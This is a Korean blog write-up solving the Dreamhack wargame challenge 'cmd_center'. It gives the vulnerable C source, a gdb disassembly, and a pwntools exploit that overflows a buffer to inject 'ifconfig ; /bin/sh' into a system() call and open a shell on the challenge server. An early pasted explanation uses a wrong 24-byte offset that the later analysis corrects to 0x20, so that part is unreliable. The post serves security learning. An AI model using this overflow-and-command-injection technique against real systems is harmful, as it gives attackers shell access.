Dreamhack/Dreamhack Wargame (Challenge)

[65] IT 비전공자 [dreamhack]cmd_center문제 풀기

imaginefuture-1 2024. 11. 13. 08:28

 

 

소스코드다

 

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

int main()
{

	char cmd_ip[256] = "ifconfig";
	int dummy;
	char center_name[24];

	init();

	printf("Center name: ");
	read(0, center_name, 100);


	if( !strncmp(cmd_ip, "ifconfig", 8)) {
		system(cmd_ip);
	}

	else {
		printf("Something is wrong!\n");
	}
	exit(0);
}

 

이 프로그램의 코드를 분석하고, 잠재적으로 `cmd_ip` 명령을 수정하여 플래그를 볼 수 있는 방법을 설명해드리겠습니다.

### 코드 분석

1. **초기화 함수 `init()`**:
   - `setvbuf()` 함수로 표준 입력과 출력을 버퍼링 없이 설정하여, 입력/출력 시 지연 없이 즉시 처리되도록 합니다.

2. **`cmd_ip` 변수 초기화**:
   - `cmd_ip`는 "ifconfig" 문자열로 초기화되어 있습니다.
   - "ifconfig"는 네트워크 인터페이스 구성을 출력하는 명령입니다.

3. **`center_name` 배열에 입력 읽기**:
   - `center_name`은 24바이트 크기의 배열이지만, **`read()` 함수로 최대 100바이트를 입력 받습니다.** 이는 `center_name`이 초과되어 인접한 메모리 영역(여기서는 `cmd_ip`)에 덮어쓰기가 발생할 수 있습니다.
   - 이를 통해, `cmd_ip`의 값을 사용자가 원하는 명령으로 **임의로 덮어쓸 수 있습니다.**

4. **조건문과 `system()` 호출**:
   - `strncmp(cmd_ip, "ifconfig", 8)` 조건이 참이면, `cmd_ip`의 내용을 `system(cmd_ip);`로 실행합니다.
   - 이때 `cmd_ip`가 임의의 명령으로 변경되어 있으면, `ifconfig`가 아닌 **다른 명령이 실행**될 수 있습니다.

### 플래그를 보는 방법

이 프로그램의 취약점을 이용하여 `cmd_ip`의 내용을 덮어쓰면 **任의 명령을 실행할 수 있습니다.** 플래그를 읽으려면 `cat` 명령어로 파일 내용을 출력하는 명령을 삽입합니다.

#### Exploit Steps

1. **입력으로 `center_name` 배열을 넘쳐흐르게 하여 `cmd_ip`에 명령어 덮어쓰기**:
   - 예를 들어, 다음과 같은 입력을 준비합니다:
     ```bash
     python -c 'print("A" * 24 + ";cat flag.txt")'
     ```
   - 이 입력은 `center_name`에 24바이트를 채우고, 이후 부분을 `cmd_ip`에 덮어씁니다. `cmd_ip`는 이제 `ifconfig;cat flag.txt`가 됩니다.

2. **프로그램 실행**:
   - `cmd_ip`가 `"ifconfig;cat flag.txt"`로 변경되었으므로, `system()` 호출에서 **`ifconfig`가 실행된 후 `cat flag.txt`가 실행**됩니다.
   - 이로 인해 **flag.txt** 파일의 내용이 출력됩니다.

 

 

 

 


center_name의 크기는 24byte인데, 100byte 입력을 받으므로, bof가 발생한다.
main 시작 부분에 선언된 3개의 변수중에 center_name의 주소가 가장 낮으므로, cmd_ip까지 값을 입력할 수 있다.
cmd_ip의 값이 ifconfig가 맞는지 비교하고 system 함수를 호출한다. 8byte만 비교하므로, 256byte를 가지는 cmd_ip에 세미콜론(;)을 이용하여 command injection을 할 수 있다.
셸을 얻기 위해 우리가 실행 시킬 명령어는 /bin/sh 이므로, cmd_ip 배열에 ifconfig ; /bin/sh를 저장한다.

출처 ㅣ https://she11.tistory.com/162

 

 


(gdb) disas main
Dump of assembler code for function main:
   0x00000000000008ad <+0>:	push   %rbp
   0x00000000000008ae <+1>:	mov    %rsp,%rbp
   0x00000000000008b1 <+4>:	sub    $0x130,%rsp
   0x00000000000008b8 <+11>:	mov    %fs:0x28,%rax
   0x00000000000008c1 <+20>:	mov    %rax,-0x8(%rbp)
   0x00000000000008c5 <+24>:	xor    %eax,%eax
   0x00000000000008c7 <+26>:	movabs $0x6769666e6f636669,%rax
   0x00000000000008d1 <+36>:	mov    $0x0,%edx
   0x00000000000008d6 <+41>:	mov    %rax,-0x110(%rbp)
   0x00000000000008dd <+48>:	mov    %rdx,-0x108(%rbp)
   0x00000000000008e4 <+55>:	lea    -0x100(%rbp),%rdx
   0x00000000000008eb <+62>:	mov    $0x0,%eax
   0x00000000000008f0 <+67>:	mov    $0x1e,%ecx
   0x00000000000008f5 <+72>:	mov    %rdx,%rdi
   0x00000000000008f8 <+75>:	rep stos %rax,%es:(%rdi)
   0x00000000000008fb <+78>:	mov    $0x0,%eax
   0x0000000000000900 <+83>:	call   0x86a <init>
   0x0000000000000905 <+88>:	lea    0xf8(%rip),%rdi        # 0xa04
   0x000000000000090c <+95>:	mov    $0x0,%eax
   0x0000000000000911 <+100>:	call   0x710 <printf@plt>
   0x0000000000000916 <+105>:	lea    -0x130(%rbp),%rax
   0x000000000000091d <+112>:	mov    $0x64,%edx
--Type <RET> for more, q to quit, c to continue without paging--ret
   0x0000000000000922 <+117>:	mov    %rax,%rsi
   0x0000000000000925 <+120>:	mov    $0x0,%edi
   0x000000000000092a <+125>:	call   0x720 <read@plt>
   0x000000000000092f <+130>:	lea    -0x110(%rbp),%rax
   0x0000000000000936 <+137>:	mov    $0x8,%edx
   0x000000000000093b <+142>:	lea    0xd0(%rip),%rsi        # 0xa12
   0x0000000000000942 <+149>:	mov    %rax,%rdi
   0x0000000000000945 <+152>:	call   0x6e0 <strncmp@plt>
   0x000000000000094a <+157>:	test   %eax,%eax
   0x000000000000094c <+159>:	jne    0x95f <main+178>
   0x000000000000094e <+161>:	lea    -0x110(%rbp),%rax
   0x0000000000000955 <+168>:	mov    %rax,%rdi
   0x0000000000000958 <+171>:	call   0x700 <system@plt>
   0x000000000000095d <+176>:	jmp    0x96b <main+190>
   0x000000000000095f <+178>:	lea    0xb5(%rip),%rdi        # 0xa1b
   0x0000000000000966 <+185>:	call   0x6f0 <puts@plt>
   0x000000000000096b <+190>:	mov    $0x0,%edi
   0x0000000000000970 <+195>:	call   0x740 <exit@plt>
End of assembler dump.

 

 

offset 0x20

 

cmd_ip는 rbp - 0x110에 위치하고 center_name은 rbp - 0x130

 

페이로드를 짜보자

 

from pwn import*

context.log_level = 'debug'
r= remote("host3.dreamhack.games", 19625)


payload = b"A"*0x20 + b"ifconfig ; /bin/sh"
r.sendlineafter(b"Center name: ", payload)
r.interactive()

 

 

이 코드에서는 `pwn` 라이브러리를 사용하여 원격 서버에 연결하고, 취약점을 이용해 쉘을 실행하는 페이로드를 전송하는 익스플로잇입니다. 

### 코드 분석

1. **환경 설정**:
   ```python
   context.log_level = 'debug'
   ```
   - `context.log_level = 'debug'`를 설정하여 디버그 출력을 활성화합니다. 이를 통해 패킷 전송 및 수신 과정을 자세히 확인할 수 있습니다.

2. **원격 서버 연결**:
   ```python
   r = remote("host3.dreamhack.games", 19625)
   ```
   - 원격 서버의 호스트와 포트 번호를 통해 원격 연결을 생성합니다. 
   - `remote` 함수를 사용하여 `host3.dreamhack.games`의 포트 19625로 연결합니다.

3. **페이로드 구성**:
   ```python
   payload = b"A"*0x20 + b"ifconfig ; /bin/sh"
   ```
   - `payload`는 버퍼를 오버플로우하여 `cmd_ip` 변수에 명령어를 덮어쓰기 위해 구성됩니다.
   - `b"A"*0x20`은 `center_name` 버퍼를 채우고 오버플로우를 유발하기 위해 32바이트의 "A"를 추가합니다.
   - `b"ifconfig ; /bin/sh"`는 `cmd_ip`에 덮어쓰여질 명령어로, `ifconfig`와 이어서 쉘을 실행하는 명령을 포함합니다. 이로 인해 원격 서버에서 `/bin/sh`가 실행되어 쉘이 열리게 됩니다.

4. **페이로드 전송 및 상호작용**:
   ```python
   r.sendlineafter(b"Center name: ", payload)
   r.interactive()
   ```
   - `sendlineafter` 함수는 `b"Center name: "` 프롬프트가 나타난 후, `payload`를 전송합니다.
   - 이후, `interactive()` 함수를 통해 원격 서버와의 상호작용을 활성화합니다. 이로 인해 쉘이 열리면 사용자가 직접 명령어를 입력할 수 있습니다.

### 동작 요약

이 익스플로잇은 `center_name` 버퍼의 오버플로우를 이용해 `cmd_ip` 변수에 `ifconfig ; /bin/sh`를 덮어씁니다. 이로 인해 `system("ifconfig ; /bin/sh")`이 실행되어 쉘이 열립니다. **쉘이 열리면 플래그 파일을 확인할 수 있습니다.** 

### 예상 결과

코드 실행 후 쉘이 열리며, 쉘에서 명령어를 통해 플래그 파일을 읽어볼 수 있습니다:
```bash
cat flag.txt
```

 

 

코드 참고

 

https://blog.system32.kr/323

 

[DreamHack] cmd_center

#include #include #include #include void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0);}int main(){ char cmd_ip[256] = "ifconfig"; int dummy; char center_name[24]; init(); printf("Center name: "); read(0, center_name, 100); if( !strncmp(cmd_ip

blog.system32.kr

 

 

 

flag~~~